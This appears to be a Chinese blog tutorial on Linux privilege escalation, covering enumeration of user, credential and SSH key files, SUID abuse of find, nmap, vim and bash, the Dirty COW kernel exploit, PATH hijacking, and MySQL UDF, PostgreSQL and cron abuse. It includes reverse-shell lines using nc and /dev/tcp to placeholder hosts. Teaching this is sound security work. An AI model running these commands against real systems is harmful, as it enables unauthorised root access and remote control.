当前位置: 首页 > news >正文

LINUX提权入门手册

前言

发点存货

LINUX权限简介

在学习提权之前我们先了解一下linux里面的权限我们使用命令:

ls -al

即可查看列出文件所属的权限:

在这里插入图片描述文件头前面都有一段类似的字符,下面我们仔细分析一下里面符号分别代表什么。

-rw-r--r--  1 root root 

第一个符号-的地方,可以是下面这些符号:

- : 代表普通文件
d:代表目录
l:代表软链接
b:代表块文件
c:代表字符设备

而后面的

rw-r--r--  

表示的是文件所属的权限

r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行
rw- 表示文件所拥有者的权限。
r-- 表示文件所在组的用户的权限。
r--  表示其他组的用户的权限。 

但如果是一个目录的话可以看下面的解读:

r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录

后面的数据1代表的内容如下:

如果文件类型为目录,表示目录下的子目录个数
如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数

后面两个root的分别含义就是:第一个为该文件所有者为root 用户,第二个表示该文件所在组为root组。

信息收集

在提权之前我们要进行信息收集,例如系统信息,用户信息,安装的服务,计划任务等能被我们进一步利用的信息,这些信息在我们提权时会用到,因为这不是本文的重点于是就放一些链接大家去了解一下:

https://www.cnblogs.com/lzkalislw/p/15630934.html

下面就简单举一些经常需要用的信息收集命令:
查看系统信息(可用于内核提权)

uname -a    打印所有可用的系统信息
uname -r    内核版本
uname -n    系统主机名。
uname -m    查看系统内核架构(64位/32位)
hostname    系统主机名
cat /proc/version    内核信息
cat /etc/*-release   分发信息
cat /etc/issue       分发信息
cat /proc/cpuinfo    CPU信息
cat /etc/lsb-release # Debian 
cat /etc/redhat-release # Redhat

用户和群组

cat /etc/passwd     列出系统上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group      列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超级用户账户
whoami              查看当前用户
w                   谁目前已登录,他们正在做什么
last                最后登录用户的列表
lastlog             所有用户上次登录的信息
lastlog –u %username%  有关指定用户上次登录的信息

用户权限信息

whoami        当前用户名
id            当前用户信息
cat /etc/sudoers  谁被允许以root身份执行
sudo -l       当前用户可以以root身份执行操作
环境信息
env        显示环境变量
set        现实环境变量
echo %PATH 路径信息
history    显示当前用户的历史命令记录
pwd        输出工作目录
cat /etc/profile   显示默认系统变量
cat /etc/shells    显示可用的shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout

进程和服务

ps aux
ps -ef
top
cat /etc/services
查看以root 运行的进程
ps aux | grep root
ps -ef | grep root

查看安装的软件(可用于第三方服务提权)

ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l

服务/插件

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

计划任务(可用于计划任务提权)

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

有无明文存放用户密码

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

有无ssh 私钥

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

可提权SUID && GUID(用于SUID提权)

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID

查看可写/执行目录

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
find / -perm -o x -type d 2>/dev/null     # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

查看安装过的工具

find / -name perl*
find / -name python*
find / -name gcc*
...

信息收集工具

通过上面这些命令可以看到如果我们一个一个的去查是很麻烦的,这里推荐大家使用信息收集脚本LinEnum.sh来去进行信息收集。

官方链接:https://github.com/rebootuser/LinEnum

下载后解压,先赋予LinEnum.sh执行权限:

chmod +x LinEnum.sh

之后就可以运行该脚本了:

./LinEnum.sh -r report -e /tmp/ -t #-e:将生成的一系列文件存放在何处,此处我们存放在靶机的/tmp目录下

在这里插入图片描述这样就方便了我们进行下一步操作了,只需要在里面找能利用的数据就可以了。

SUID提权

要先了解SUID是什么:
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
​ 在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
​ 利用此特性,我们可通过SUID进行提权
设置SUID权限:

chmod u+s filename   设置SUID位
chmod u-s filename   去掉SUID设置

假设我们给一个文件赋予SUID权限:

在这里插入图片描述赋予权限之后的文件信息为:

在这里插入图片描述代表该文件已经获得了suid权限,这就是个人对于SUID的简单理解,那么该怎样利用呢。
我们先看一下常用的具有SUID权限的文件有哪些,常用命令如下:

find / -perm -u=s -type f 2>/dev/null #-type b/d/c/p/l/f 查是块设备,目录,字符设备,管道.符号链接,普通文件
#    2>/dev/null    将find报错的信息重定向到null[空]

在这里插入图片描述可以看到查询到了具有SUID权限的文件,包括上面我们增加了SUID权限的文件,当然简单总结一下我们常用SUID提权文件如下:

nmap
vim
find
bash
more
less
nano
cp
awk

下面简单举一些SUID提权的例子:
find
find是我们在linux中查找文件经常用到的命令,提权过程如下:

cd /tmp;touch xxx    随便创建一个文件可以在tmp目录下
find xxx -exec whoami \;    
find xxx -exec /bin/sh \;    利用find得到一个root权限的shell
find xxx -exec nc -lvp 1234 -e /bin/sh \;利用nc反弹一个root权限的shell

namp
namp作为一个端口扫描工具被人们熟知,当目标主机存在版本在 2.02-5.21 之间的 nmap也是可以尝试SUID提权的,接下来给大家讲一下步骤:
早期nmap中有交互模式,我们可以用以下命令进入:

nmap --interactive //进入交互模式

然后我们在交互模式中输入以下命令进行提权:

nmap> !sh
sh-3.2# whoami
root

如果读者觉得手动比较麻烦,我们可以在MSF里寻找攻击脚本:

在这里插入图片描述bash
我们可以用命令通过一个ROOT权限来打开bash shell:

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

VIM
vim作为一款linux下的文件编辑器,当以SUID运行的话,它会继承root用户的权限:

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

nano
nano是Unix和类Unix系统中的一个文本编辑器,我们也可以利用它来提权:

nano
Ctrl + R
Ctrl + X 
即可进入命令行

在这里插入图片描述less/more
less命令用于显示文件或命令输出的内容,它一次只显示一个页面(分页显示工具)。它类似于more命令,而且他们两个的提权方法基本一致,但需要注意的是只有比较大的文件才能进行翻页:

less(or more) /etc/passwd
#在less(or more)中输入:
!/bin/sh

perl
perl命令作为linux中常用脚本也是可以进行提权的:

sudo perl -e 'exec "/bin/sh";'

在这里插入图片描述
ed
ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作。

内核漏洞提权

即通过系统的内核漏洞来进行提权,因为涉及的范围比较多,作为入门就以最著名的CVE-2016-5195(脏牛漏洞)来作为演示

dirtycow-exp:https://github.com/gbonacini/CVE-2016-5195
dirtycow-检测脚本:https://github.com/aishee/scan-dirtycow/blob/master/dirtycowscan.sh

当我们获取服务器普通用户的权限后,可以尝试以下思路来进行脏牛提权:
上传脏牛检测脚本-检测疑似存在漏洞-上传脏牛exp-提权成功
我们需要检测系统内核版本:

# 查看系统发行版本 
lsb_release -a 
# 查看内核版本 
uname -a 

在这里插入图片描述当发现版本内核在脏牛影响的范围内时,拿到用户权限后将检测脚本上传至靶机:

upload /root/linux-exploit-suggester.sh /tmp/xino.sh

然后赋予该探针执行权限:

chmod 777 xino.sh

若要检测到存在,则继续上传我们下载的提权EXP来进行提权操作,注意的是上传的exp需要进行编译:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil

执行后可得到root权限,提权脚本还可以通过searchsploit下载到本地:

searchsploit  dirty 

在这里插入图片描述其他内核漏洞举例:

5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102 https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

环境变量提权

PATH是Linux和类UNIX系统中的环境变量,指定存储可执行程序的所有bin和sbin目录,通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。
使用命令查看当前环境变量:
在这里插入图片描述
我们写一段demo:

#include
void main() {
setuid(0);
setgid(0);
system("su - xino");
}

意思是通过root权限切换到xino用户,我们需要编译一下并赋予suid权限:

gcc demo.c -o shell
chmod u+s shell

当我们在服务器ls一下后发现了shell我们构造的shell文件,执行后发现当前用户切换了:

ls
./shell

了解到这里之后,我们思考一下,用户的环境变量可以自定义,那我们让另一个位置的环境配置在当前环境之前,就可以进行环境变量的劫持了。
echo命令法

echo "/bin/bash" > /tmp/su
chmod 777 /tmp/su
echo $PATH
export PATH=/tmp:$PATH
cd /srv
./shell

cp法

cp /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell

软链接法

ln -s /bin/sh /tmp/su
export PATH=/tmp:$PATH
cd /srv
./shell

第三方服务提权

这个思路是用第三方服务的漏洞可以拿到主机的 root 权限,比如某个组件通过root权限启动,那么我们控制了组件就相当于得到了root权限。
MySQL UDF 提权
UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。提权条件如下:

1.必须是root权限(需要创建和抛弃自定义函数)
2.secure_file_priv=(必须为空,secure_file_priv为null或者为/tmp/都不行,因为它需要在指定的位置写入udf文件)

查看是否有写入权限:

show global variables like '%secure%';

在这里插入图片描述当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入或者导出做限制,此时可提权。限制条件如下:

mysql>5.1 mysql\lib\plugin
mysql<5.1 c:\\windows

可能读者不太明白限制条件是什么意思,如果我们要提权那么就要上传UDF 的动态链接库文件(实现共享函数库概念的一种方式),我们可以在SQLMAP(sqlmap\data\udf\mysql)或者MSF中找到内置的udf.dll文件,而这个udf.dll文件上传路径的限制条件就是上面提到的。下一步就是上传udf.dll文件,这里分为两种情况:
1.拥有webshell权限时
我们可以直接将udf.dll上传到指定目录的文件夹。
2.未拥有webshell权限时
由于我们不能直接上传了,所以需要通过查询语句来转码插入udf.dll的内容:

use mysql; 
set @a=concat('',0x代码); 
create table Ghost(data LONGBLOB); 
insert into Ghost values("");update Ghost set data = @a; 
代码为select hex(load_file('c:/udf.dll'))中的内容 
select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/udf.dll'; //导出ufd.dll 
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';//创建函数 
select sys_exec('nc xxxx 6666 -e /bin/bash'); #执行

之后我们就提权成功了,监听一下就可以。
PostgreSQL
PostgreSQL是Mac OSX系统下最常用的数据库,当其版本位于9.3-11.2,允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令。基本流程如下:

drop table if exists cmd_exec; #先删除你想要使用但是已经存在的表
create table cmd_exec(cmd_output text); #创建保存系统命令输出的表
copy cmd_exec from program 'id'; #执行系统命令利用特定函数
select * from cmd_exec; #查看执行结果

而cmd_exec中的内容可以是反弹shell:

COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/xxxx/xx 0>&1'; 

不过需要注意的是直接这样写会执行失败,我们需要将反弹shell的命令进行base64编码再传入:

L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3h4eHgveHggMD4mMQ==

计划任务提权

定时任务(cron job)可以用来设置周期执行的命令,提权的原理为计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权。

在这里插入图片描述crontabs基本格式如上图,假设我们设置了一个计划任务xino.py:

import os
import sys
try:os.system('rm -r /home/xino/*')
except:sys.exit()

删除xino目录下的所有文件,作为普通用户我们首先进入目录查看:

cat /etc/crontab
ls  -al /tmp/xino.py
cat /tmp/xino.py

去修改这个计划任务来进行提权:

#!/user/bin/env python
import os
import sys
try:os.system(‘chmod u+s /bin/bash’)
except:sys.exit

上面代码大家应该不陌生,这涉及了上面的SUID提权,设置完后使用命令:

ls -la /bin/bash

发现属主的权限由x变成了s,成功设置了SUID权限,运行命令:

sudo bash -p

查询用户成功变成了root,提权就成功了。

漏洞探针

了解了以上提权的方法,因为我们在实战中不可能一个一个方法的去试,这样的话效率就太低了,这里给大家介绍一个漏洞探针工具linux-exploit-suggster2,该工具可以帮我们检查该系统当前可能存在的漏洞,我们只需要尝试去攻击。

官网链接:https://github.com/jondonas/linux-exploit-suggester-2

运用方法也很简单,解压后直接运行即可:

$ ./linux-exploit-suggester-2.plLocal Kernel: 4.4.0Searching among 73 exploits...

在这里插入图片描述

结语

因为提权的内容太多了,本文就简单总结了一下具有代表性的一些知识点,望大家多多包涵。

相关文章:

LINUX提权入门手册

前言 发点存货 LINUX权限简介 在学习提权之前我们先了解一下linux里面的权限我们使用命令: ls -al即可查看列出文件所属的权限&#xff1a; 文件头前面都有一段类似的字符&#xff0c;下面我们仔细分析一下里面符号分别代表什么。 -rw-r--r-- 1 root root 第一个符号-的…...

MSI_MSI-X中断之源码分析

MSI_MSI-X中断之源码分析 文章目录MSI_MSI-X中断之源码分析一、 怎么发出MSI/MSI-X中断1.1 在RK3399上体验1.1.1 安装工具1.1.2 查看设备MSI-X信息1.1.3 验证MSI-X信息二、 怎么使用MSI/MSI-X三、 MSI/MSI-X中断源码分析3.1 IRQ Domain创建流程3.1.1 GIC3.1.2 ITS3.1.3 PCI MSI…...

Docker--consul

目录 前言 一、Consul 简介 1.1、 consul 概述 1.2 、consul 的两种模式 1.3、consul 提供的一些关键特性 二、Consul 容器服务更新与发现 三、consul 部署 3.2、查看集群信息 四、registrator服务器 consul-template 五、consul 多节点 前言 服务注册与发现是微服…...

ESP-01S使用AT指令连接阿里云

ESP-01S使用AT指令连接阿里云 烧录MQTT AT固件 出厂的ESP-01S是基本的AT指令固件&#xff0c;没有MQTT的&#xff0c;所以无法通过MQTT指令与云平台通信&#xff0c;需要烧录固件&#xff08;如果测试到有MQTT相关的指令&#xff0c;则不用重新烧录固件&#xff09; 固件烧录…...

【Kafka】【三】安装Kafka服务器

Kafka基本知识 Kafka介绍 Kafka是最初由Linkedin公司开发&#xff0c;是⼀个分布式、⽀持分区的&#xff08;partition&#xff09;、多副本的 &#xff08;replica&#xff09;&#xff0c;基于zookeeper协调的分布式消息系统&#xff0c;它的最⼤的特性就是可以实时的处理 …...

关于适配器模式,我遗漏了什么

近期有些tasks需要 重构or适配 老的代码。 与其向上面堆&#x1f4a9;&#xff0c;不如优雅的去解决。 首先我的问题在于&#xff0c;错误的把 堆屎的操作 &#xff0c;当作了适配器模式的操作。 比如原函数入参&#xff0c;需要更改某个属性&#xff0c;把这种操作外包一层…...

SQL Serve 日志体系结构

SQL Server 事务日志记录着 undo 及 redo 日志&#xff0c;为了保证数据库在崩溃后恢复&#xff0c;或者在正常数据库操作期间进行回滚&#xff0c;保证数据库事务完整性和持久化。如果没有事务日志记录&#xff0c;数据库在事务上将不一致&#xff0c;并且在数据库崩溃后可能导…...

【C++1】函数重载,类和对象,引用,string类,vector容器,类继承和多态,/socket,进程信号,public,ooci

文章目录1.函数重载&#xff1a;writetofile()&#xff0c;Ctrue和false&#xff0c;C0和非02.类和对象&#xff1a;vprintf2.1 构造函数&#xff1a;对成员变量初始化2.2 析构函数&#xff1a;一个类只有一个&#xff0c;不允许被重载3.引用&#xff1a;C中&取地址&#x…...

asio网络编程 tcp、udp、rpc

轻量级的tcp/udp/rpc库&#xff0c;简化socket程序编写。 同时&#xff0c;RPC部分也提供了方便易用的功能。 仓库地址 https://github.com/shuai132/asio_net asio_net a Tiny Async TCP/UDP/RPC library based on ASIO and RpcCore Features 简化TCP、UDP相关程序的编写…...

双目测距------双目相机V1.0,将双目相机采集到任意一点的深度数据进行串口传输(带源码)

Depth2Uart 双目测距------双目相机V1.0&#xff0c;将双目相机采集到任意一点的深度数据进行串口传输 一、项目说明/Overview 所实现的功能&#xff1a;基于Intel Realsense官方提供的SDK&#xff0c;双目深度相机能获取到相机任何一个像素点距离前方障碍物的距离&#xff0…...

jetson nano(ubuntu)安装Cmake

文章目录安装环境一.命令行安装二.Cmake源码编译安装安装环境 jetson nano 系统&#xff1a;4.6.1 一.命令行安装 sudo apt install cmake这种直接安装cmake的方式&#xff0c;其实安装的版本都太老了&#xff0c;这种方式不推荐 二.Cmake源码编译安装 更新一下系统软件 su…...

图的基本介绍和表示方式

图的基本介绍 为什么要有图这个基本数据结构? 我们还学习过线性表&#xff08;数组、队列、链表和栈&#xff09;和树&#xff0c;但是我们可以发现&#xff0c;线性表局限于一个直接前驱&#xff08;就是只能有唯一一个前面的结点&#xff09;和一个直接后继的&#xff08;…...

本周大新闻|传微软解散工业元宇宙团队,MIT研发垂直堆叠全彩Micro LED

本周大新闻&#xff0c;AR方面&#xff0c;消息称微软解散工业元宇宙团队&#xff1b;德国AR公司Gixel GmbH亮相&#xff1b;Brilliant推出单片式附加形态AR眼镜&#xff1b;MIT研发垂直堆叠全彩Micro LED&#xff1b;谷歌XR串流正式上线。VR方面&#xff0c;索尼发布了PS VR2的…...

SpringMVC:拦截器(12)

拦截器1. 拦截器概念2. 拦截器入门案例2.1 环境准备2.2 拦截器开发步骤1: 创建拦截器类步骤2: 配置拦截器类步骤3: SpringMVC添加SpringMvcSupport包扫描和interceptor包扫描步骤4: 简化SpringMvcSupport的编写5 测试3. 拦截器参数解析&#xff08;了解&#xff09;3.1 前置处理…...

计算机网络3:HTTP1.0和HTTP1.1的区别

目录1. HTTP是什么2.HTTP1.0和HTTP1.1的区别3.名词解释&#xff08;1&#xff09;If-Modified-Since&#xff08;IMS&#xff09;、Expires&#xff08;2&#xff09;If-None-Match&#xff0c;Etag&#xff08;3&#xff09;If-Unmodified-Since1. HTTP是什么 超文本传输协议…...

Urho3D 编辑器说明

Urho3D编辑器是一个脚本应用程序&#xff0c;可以与Urho3D播放器应用程序一起运行。要开始&#xff0c;请执行以下任意命令&#xff1a;&#xff08;在bin目录中&#xff09;Editor.bat、Editor.sh或Urho3DPlayer Scripts/Editor.as Urho3D播放器应用程序支持的所有命令行选项…...

C++类基础(十一)

运算符重载&#xff08;二&#xff09; ● 对称运算符通常定义为非成员函数以支持首个操作数的类型转换 struct Str {int val 0;Str(int input): val(input){}auto operator(Str x){std::cout << "auto operator(Str x)\n";return Str(val x.val);} }; int …...

Windows安装系列:SVN Server服务

一、下载与安装 1、下载VisualSVN-Server-5.1.1-x64.msi 地址&#xff1a;Download | VisualSVN Server 2、找到最新版本SVN 5.1.1&#xff0c;直接双击它&#xff0c;弹出如下安装界面 3、点击Next 4、勾选我接受&#xff0c; 点击"Next" 5、默认选项&#xff0c…...

快速傅里叶算法(FFT)快在哪里?

目录 前言 1、DFT算法 2、FFT算法 2.1 分类 2.2 以基2 DIT&#xff08;时间抽取&#xff09; FFT 算法为例 2.2.1 一次分解 2.2.2 多次分解 参考 前言 对信号分析的过程中&#xff0c;为了能换一个角度观察问题&#xff0c;很多时候需要把时域信号波形变换到频域进行分…...

利用Markdown写学术论文资料汇总贴

1是最详细的&#xff0c;重点看&#xff01; Markdown 写作&#xff0c;Pandoc 转换&#xff1a;我的纯文本学术写作流程 2补充一些细节&#xff0c;也可以看看。 用Markdown写作学术论文 3写得和上面差不多&#xff0c;如果上面两篇有什么问题还没解决&#xff0c;可以看看…...

MySQL 高级查询

目录1.左关联2.右关联3.子查询4.联合查询5.分组查询1.左关联 MySQL中的左关联&#xff08;Left Join&#xff09;是一种基于共同列的连接操作&#xff0c; 它将左侧表中的所有行与右侧表中匹配的行结合在一起&#xff0c; 如果右侧表中没有匹配的行&#xff0c;则结果集中右侧…...

JavaSE学习day4_01 循环for,while,do...while

1. 循环高级 1.1 无限循环 for、while、do...while都有无限循环的写法。 最为常用的是while格式的。 因为无限循环是不知道循环次数的&#xff0c;所以用while格式的 代码示例&#xff1a; while(true){} 1.2 跳转控制语句&#xff08;掌握&#xff09; 跳转控制语句&…...

C/C++中的static关键字

概述在C/C中都有static关键字的使用&#xff0c;可以分别修饰变量和函数&#xff0c;分为静态变量【静态成员】、静态成员函数。2. static用法概况静态变量的作用范围在一个文件内&#xff0c;程序开始时分配空间&#xff0c;结束时释放空间&#xff0c;默认初始化为0&#xff…...

67 自注意力【动手学深度学习v2】

67 自注意力【动手学深度学习v2】 深度学习学习笔记 学习视频&#xff1a;https://www.bilibili.com/video/BV19o4y1m7mo/?spm_id_fromautoNext&vd_source75dce036dc8244310435eaf03de4e330 给定长为n 的序列&#xff0c;每个xi为长为d的向量&#xff0c;自注意力将xi 既当…...

电子学会2022年12月青少年软件编程(图形化)等级考试试卷(二级)答案解析

青少年软件编程&#xff08;图形化&#xff09;等级考试试卷&#xff08;二级&#xff09; 一、单选题(共25题&#xff0c;共50分) 1. 一个骰子&#xff0c;从3个不同角度看过去的点数如图所示&#xff0c;请问5的对面是什么点数&#xff1f;&#xff08; &#xff09; …...

关于链表中插入结点的操作……

服了&#xff0c;好久没敲链表了&#xff0c;这都忘了 newnode->next cur->next; cur->next newnode; newnode->next cur->next; cur->next newnode; newnode->next cur->next; cur->next newnode; newnode->next cur->next; cur-…...

【项目精选】百货中心供应链管理系统

点击下载源码 近年来&#xff0c;随着计算机技术的发展&#xff0c;以及信息化时代下企业对效率的需求&#xff0c;计算机技术与通信技术已经被越来越多地应用到各行各业中去。百货中心作为物流产业链中重要的一环&#xff0c;为了应对新兴消费方式的冲击&#xff0c;从供货到销…...

Qt优秀开源项目之十六:SQLite数据库管理系统—SQLiteStudio

首先&#xff0c;感谢CSDN官方认可 SQLiteStudio是一款开源、跨平台&#xff08;Windows、Linux和MacOS&#xff09;的SQLite数据库管理系统。 github地址&#xff1a;https://github.com/pawelsalawa/sqlitestudio 官网&#xff1a;https://sqlitestudio.pl/ 特性很多&#xf…...

Python __doc__属性:查看文档

在使用 dir() 函数和 __all__ 变量的基础上&#xff0c;虽然我们能知晓指定模块&#xff08;或包&#xff09;中所有可用的成员&#xff08;变量、函数和类&#xff09;&#xff0c;比如&#xff1a;import string print(string.__all__)程序执行结果为&#xff1a;[ascii_lett…...

电子科技大学操作系统期末复习笔记(一):操作系统概述

目录 前言 操作系统概述 操作系统的目标与功能 操作系统的定义 目标 功能 操作系统的历史 单用户系统 简单批处理系统 多道批处理系统 分时系统 个人电脑 → 分布式系统 → 互联网时代 → 移动计算时代 → ...... 实时系统 操作系统的基本特征 并发 共享 虚拟…...

2008 iis 配置 asp网站/网站建设需要多少钱

本人在开发机器软件的时候&#xff0c;以为一个工程生成一个文件&#xff0c;其他的文件不影响。所以在生成目录不同的时候&#xff0c;会造成只拷贝单个文件程序运行不正常的现象。 描述如下&#xff1a;有一个WPF工程A&#xff0c;引用了3个动态库B.C.D&#xff0c;编译时输出…...

手机网站有什么区别是什么/安卓在线视频嗅探app

input[type"file"]上传文件原理详解 最近又搞了一下上传文件功能&#xff0c;用别人的插件不大符合自己要求&#xff0c;还是用HTML5的input[type"file"]比较好控制&#xff0c;现在重新回顾一下使用input[type"file"]上传文件 【1】修改input…...

无锡营销型网站制作/营业推广案例

编译程序总框 词法分析器的设计 词法分析的任务&#xff1a; 从左至右逐个字符地对源程序进行扫描&#xff0c;产生一个个单词符号&#xff0c; 词法分析器(Lexical Analyzer)&#xff1a;扫描器(Scanner)&#xff0c;执行词法分析的程序 功能&#xff1a;输入源程序、输出单…...

新浪云sae免费wordpress网站/推广手段和渠道有哪些

[LeetCode]1705.吃苹果的最大数目题目示例方法贪心题目 有一棵特殊的苹果树&#xff0c;一连 n 天&#xff0c;每天都可以长出若干个苹果。在第 i 天&#xff0c;树上会长出 apples[i] 个苹果&#xff0c;这些苹果将会在 days[i] 天后&#xff08;也就是说&#xff0c;第 i d…...

wordpress 破解/百度公司推广电话

MySQL之表&#xff08;或数据库&#xff09;操作语言-01 学习目标MySQL之表&#xff08;或数据库&#xff09;操作语言-011. 表(或数据库)操作语句1.1 查询表&#xff08;或数据库&#xff09;1.2 新建表&#xff08;或&#xff09;数据库1.3 删除表&#xff08;或数据库&#…...

jq插件网站/企业邮箱网页版

Memcached&#xff1a;Memcache就是一个普通的程序,这个程序进程先申请一个内存,预先将可支配的内存空间进行分区,每个分区里再分成多个块最大1M,但同一个分区里,块的长度是固定的,当数据来的时候通过SocketSocket有一个监听的端口,往端口发送一个字符串过来,解析字符串如果是插…...